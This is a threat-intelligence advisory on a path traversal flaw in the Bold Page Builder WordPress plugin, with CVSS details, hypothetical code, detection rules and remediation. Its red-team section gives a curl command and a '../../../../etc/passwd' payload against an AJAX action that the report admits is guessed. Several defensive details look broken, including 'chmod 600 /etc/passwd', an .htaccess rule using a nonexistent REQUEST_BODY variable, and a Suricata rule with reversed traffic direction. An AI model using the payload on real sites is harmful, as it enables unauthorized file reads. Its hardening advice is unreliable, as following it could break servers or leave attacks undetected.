CVE-2024-54382

Executive Summary

CVE-2024-54382 is a Path Traversal vulnerability (CWE-22) discovered in the Bold Page Builder WordPress plugin by Bold-Themes. The flaw allows an authenticated attacker with low privileges to traverse directories outside the intended restricted path, potentially reading sensitive files on the server. The vulnerability affects all versions up to and including 5.1.5. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The CVSS score is 4.9 (Medium), with a low EPSS probability of exploitation (0.0%). This is a WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin’s update channel and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (limited file read)
• Integrity Impact: None
• Availability Impact: None

The threat level is considered Medium due to the requirement of authentication and the limited impact (only file read). However, if sensitive configuration files (e.g., wp-config.php) are exposed, the impact could escalate.

Deep Dive & Mechanics

The vulnerability exists in the Bold Page Builder plugin’s file handling functionality. The plugin fails to properly sanitize user-supplied input when constructing file paths, allowing an attacker to use path traversal sequences (e.g., ../) to access files outside the intended directory. This is a classic Path Traversal (CWE-22) issue.

Root Cause: The plugin likely uses user input directly in file operations (e.g., file_get_contents(), include(), or fopen()) without validating or sanitizing the path. For example, a parameter like file=../../../../etc/passwd could be passed to a vulnerable endpoint.

Attack Scenario: An authenticated user (e.g., subscriber or contributor) sends a crafted HTTP request to a vulnerable endpoint, such as:

POST /wp-admin/admin-ajax.php
action=bold_page_builder_load_file
file=../../../../etc/passwd

The server responds with the contents of /etc/passwd, revealing system user information.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

// Vulnerable code (hypothetical)
$file = $_POST['file'];
$content = file_get_contents( $file );
echo $content;

A patched version would include proper path validation:

// Patched code (hypothetical)
$allowed_dir = WP_CONTENT_DIR . '/uploads/bold-page-builder/';
$file = basename( $_POST['file'] );
$full_path = $allowed_dir . $file;
if ( strpos( realpath( $full_path ), $allowed_dir ) === 0 ) {
    $content = file_get_contents( $full_path );
    echo $content;
} else {
    wp_die( 'Invalid file path.' );
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Bold Page Builder <= 5.1.5 installed and activated.
• Valid user credentials with at least subscriber role.

Steps:

1. Log in to WordPress.
2. Identify the vulnerable AJAX action (e.g., bold_page_builder_load_file).
3. Send a crafted request using curl:

curl -X POST \
  -d "action=bold_page_builder_load_file&file=../../../../etc/passwd" \
  -c cookies.txt \
  -b cookies.txt \
  http://target.com/wp-admin/admin-ajax.php

4. Observe the response containing the contents of /etc/passwd.

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP requests containing path traversal patterns (e.g., ../, ..\\, %2e%2e%2f) in parameters related to Bold Page Builder.
• Alert on unusual file read attempts from authenticated users.

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
• Restrict file permissions on sensitive system files (e.g., chmod 600 /etc/passwd).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=bold_page_builder_load_file and file parameter containing ../ sequences.
  • Outbound responses containing system file contents (e.g., root:x:0:0:).

• File System IOCs:

  • Unexpected access to files outside the plugin’s intended directory (e.g., /etc/passwd, wp-config.php).

• Log IOCs:

  • WordPress debug logs showing file read errors for non-existent paths.
  • Web server access logs with 200 responses to path traversal requests.

Detection Engineering

YARA Rule

rule CVE_2024_54382_Bold_Page_Builder_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Bold Page Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-54382"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $action = "bold_page_builder_load_file"
    condition:
        $action and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-54382 - Bold Page Builder Path Traversal
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts against Bold Page Builder plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=bold_page_builder_load_file'
        cs-uri-query|contains|all:
            - 'file='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in plugin (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-54382 - Bold Page Builder Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=bold_page_builder_load_file"; http_client_body;
    content:"file="; http_client_body;
    pcre:"/\.\.\//Pi";
    sid:1000001;
    rev:1;
    metadata:created_at 2025-04-10, cve CVE-2024-54382;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block path traversal patterns in POST parameters.
3. Review server logs for signs of exploitation.

Long-term Fix:

• Apply the official patch once released by Bold-Themes.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Add the following .htaccess rule to block path traversal in AJAX requests:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$
RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC,OR]
RewriteCond %{REQUEST_BODY} (\.\./|\.\.\\) [NC]
RewriteRule .* - [F,L]

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst